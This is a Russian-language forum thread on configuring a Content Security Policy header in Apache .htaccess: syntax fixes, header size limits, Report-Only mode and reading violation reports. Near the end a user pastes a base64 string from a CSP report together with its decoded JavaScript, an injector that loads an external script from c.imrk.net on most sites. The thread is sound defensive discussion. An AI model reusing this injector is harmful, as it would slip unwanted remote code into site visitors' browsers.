Настройка CSP - Content Security Policy

Да, блокируется. Для работы Метрики надо добавить data: в директиву img-src.

Привет всем! Сделал по этому способу: /ru/forum/comment/13456921

Но после того как вставляю код в .htaccess сервак выдает ошибку:

Подскажите пожалуйста, что не так делаю?

По той ссылке - CSP в формате "для людей", в формате файла .htaccess она будет выглядеть так:

Header set Content-Security-Policy "\

default-src 'self';\

img-src 'self';\

style-src 'self';\

script-src 'self';\

object-src 'self';\

connect-src 'self';\

frame-src 'self';\

font-src 'self';\

report-uri http://site.ru/csp.php;" 

Header set Content-Security-Policy "default-src 'self'; img-src 'self'; style-src 'self'; script-src 'self'; object-src 'self'; connect-src 'self'; frame-src 'self'; font-src 'self'; report-uri http://site.ru/csp.php;"

(что будет неудобно в работе). Хотя был один хостер, у которого пришлось вытягивать всё в одну строку, тк htaccess не понимал переноса на следующую строку по \.

PS: Internal Server Error 500/502 - ошибка в синтаксисе .htaccess, так же бывает при превышении размера заголовков свыше лимита, установленного в настройках Apache.

Header set Content-Security-Policy "\

default-src 'self';\

img-src 'self';\

style-src 'self';\

script-src 'self';\

object-src 'self';\

connect-src 'self';\

frame-src 'self';\

font-src 'self';\

report-uri http://site.ru/csp.php;" 

Header set Content-Security-Policy "default-src 'self'; img-src 'self'; style-src 'self'; script-src 'self'; object-src 'self'; connect-src 'self'; frame-src 'self'; font-src 'self'; report-uri http://site.ru/csp.php;"

А как узнать лимит? В каком файле можно глянуть?

Я пробовал с "\" и в одну строку, все так же.

---------- Добавлено 13.03.2015 в 01:35 ----------

Сори, в одну строку все пошло! Спасибо!

---------- Добавлено 13.03.2015 в 01:50 ----------

Вот только теперь перестало показываться сколько человек добавило сайт в соц закладки, ставлю yastatic.net *.yastatic.net https://yastatic.net в картинках и в скриптах и все равно не показывает.

---------- Добавлено 13.03.2015 в 01:51 ----------

В папку ничего не записывается. Только одна какая то папка создалась и все...

---------- Добавлено 13.03.2015 в 01:53 ----------

тьфу блин, создаются:) Нужно было обновить...))

---------- Добавлено 13.03.2015 в 02:08 ----------

Так, с этим разобрались. А вот что делать с этим мусором в папке? Это что вообще такое?

Это домены, которые были заблокированы, так как не разрешены в настройках, а всё, что явно не разрешено - то запрещено.

Я лично просматриваю, не заблокировалось ли что-то полезное. Пока нашел несколько "хороших" доменов, с которых вроде у меня ничего не грузится. Разрешать пока не буду - выясню, что у меня на сайте с гугла пытается запустить.

Ну и еще надо выяснить, почему на одном сайте периодически файл со стилями CSS не загружается... Это единственный косяк, который выскочил после настройки Content Security Policy.

Для Apache - в httpd.conf, константа LimitRequestFieldsize

На время отладки поменяйте в начале CSP Header set Content-Security-Policy на Header set Content-Security-Policy-Report-Only - она перестанет блокировать и будет только слать отчёты, что собиралась заблокировать.

В этом мусоре приходится копаться и открывать то, что не надо блокировать.

PS: При посещении сайта GoogleBot-ом присылаются отчёты, что заблокирована загрузка стилей CSS. Индексирующий бот Google ходит каким-то неполноценным браузером, причём, разбойник, кэширует заголовки CSP. Изменяешь CSP, а он ещё неделю продолжает приходить со старыми заголовками (они видны в присылаемом CSP-отчёте).

Именно так.

Ребят, помогите понять, что значит этот репорт:

?

И в консоли браузера при этом - нет блокировок CSP?

Наблюдается во всех браузерах или в каком-то одном?

PS: Извиняюсь за кучу вопросов - хочется прояснить как регулярно проявляется проблема.

Вот что нашел еще в репорте:

dmFyIFBTdGlkPSI5NzM5IixQU3NpemU9InJtcmVkIjsKKGZ1bmN0aW9uKCl7aWYoLTE9PSJ5YW5kZXgucnUgdmsuY29tIGdvb2dsZS5ydSBnb29nbGUuY29tIG1haWwucnUgeW91dHViZS5jb20gZmFjZWJvb2suY29tIG9kbm9rbGFzc25pa2kucnUgd2lraXBlZGlhLm9yZyBsaXZlam91cm5hbC5jb20gdHdpdHRlci5jb20gcmJjLnJ1IHNiZXJiYW5rLnJ1IHJhbWJsZXIucnUgbGVudGEucnUgaGFicmFoYWJyLnJ1IHdlYm1vbmV5LnJ1IHJpYS5ydSBraW5vcG9pc2sucnUgaW5zdGFncmFtLmNvbSBnaXNtZXRlby5ydSBibG9nc3BvdC5ydSBoaC5ydSB2ZXN0aS5ydSBzYXBlLnJ1IHNlYXJjaGVuZ2luZXMuZ3VydSBvay5ydSBwci1jeS5ydSBnYXpldGEucnUgeWEucnUgZHJvbS5ydSB5YWhvby5jb20gZWNoby5tc2sucnUgeWFkaS5zayBsaWZlbmV3cy5ydSB3bW1haWwucnUgbWlyYWxpbmtzLnJ1IG1pY3Jvc29mdC5jb20gbmljLnJ1IG50di5ydSBpbnRlcmZheC5ydSBnYW1lcy5tYWlsLnJ1IGxlbnRhLnJ1IHJnLnJ1IGRyaXZlMi5ydSIuc3BsaXQoIiAiKS5pbmRleE9mKGxvY2F0aW9uLmhvc3QpKXt2YXIgYT1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCJzY3JpcHQiKTsKYS5zZXRBdHRyaWJ1dGUoInR5cGUiLCJ0ZXh0L2phdmFzY3JpcHQiKTthLnNldEF0dHJpYnV0ZSgic3JjIiwiaHR0cDovL2MuaW1yay5uZXQvdGFnLzEuanMiKTtkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKGEpfX0pKCk7Cg=="

Вот как выглядит после раскодировки:

var PStid="9739",PSsize="rmred";

(function(){if(-1=="yandex.ru vk.com google.ru google.com mail.ru youtube.com facebook.com odnoklassniki.ru wikipedia.org livejournal.com twitter.com rbc.ru sberbank.ru rambler.ru lenta.ru habrahabr.ru webmoney.ru ria.ru kinopoisk.ru instagram.com gismeteo.ru blogspot.ru hh.ru vesti.ru sape.ru searchengines.guru ok.ru pr-cy.ru gazeta.ru ya.ru drom.ru yahoo.com echo.msk.ru yadi.sk lifenews.ru wmmail.ru miralinks.ru microsoft.com nic.ru ntv.ru interfax.ru games.mail.ru lenta.ru rg.ru drive2.ru".split(" ").indexOf(location.host)){var a=document.createElement("script");

a.setAttribute("type","text/javascript");a.setAttribute("src","http://c.imrk.net/tag/1.js");document.body.appendChild(a)}})();

"

Что это значит? Может найдется, кто подскажет?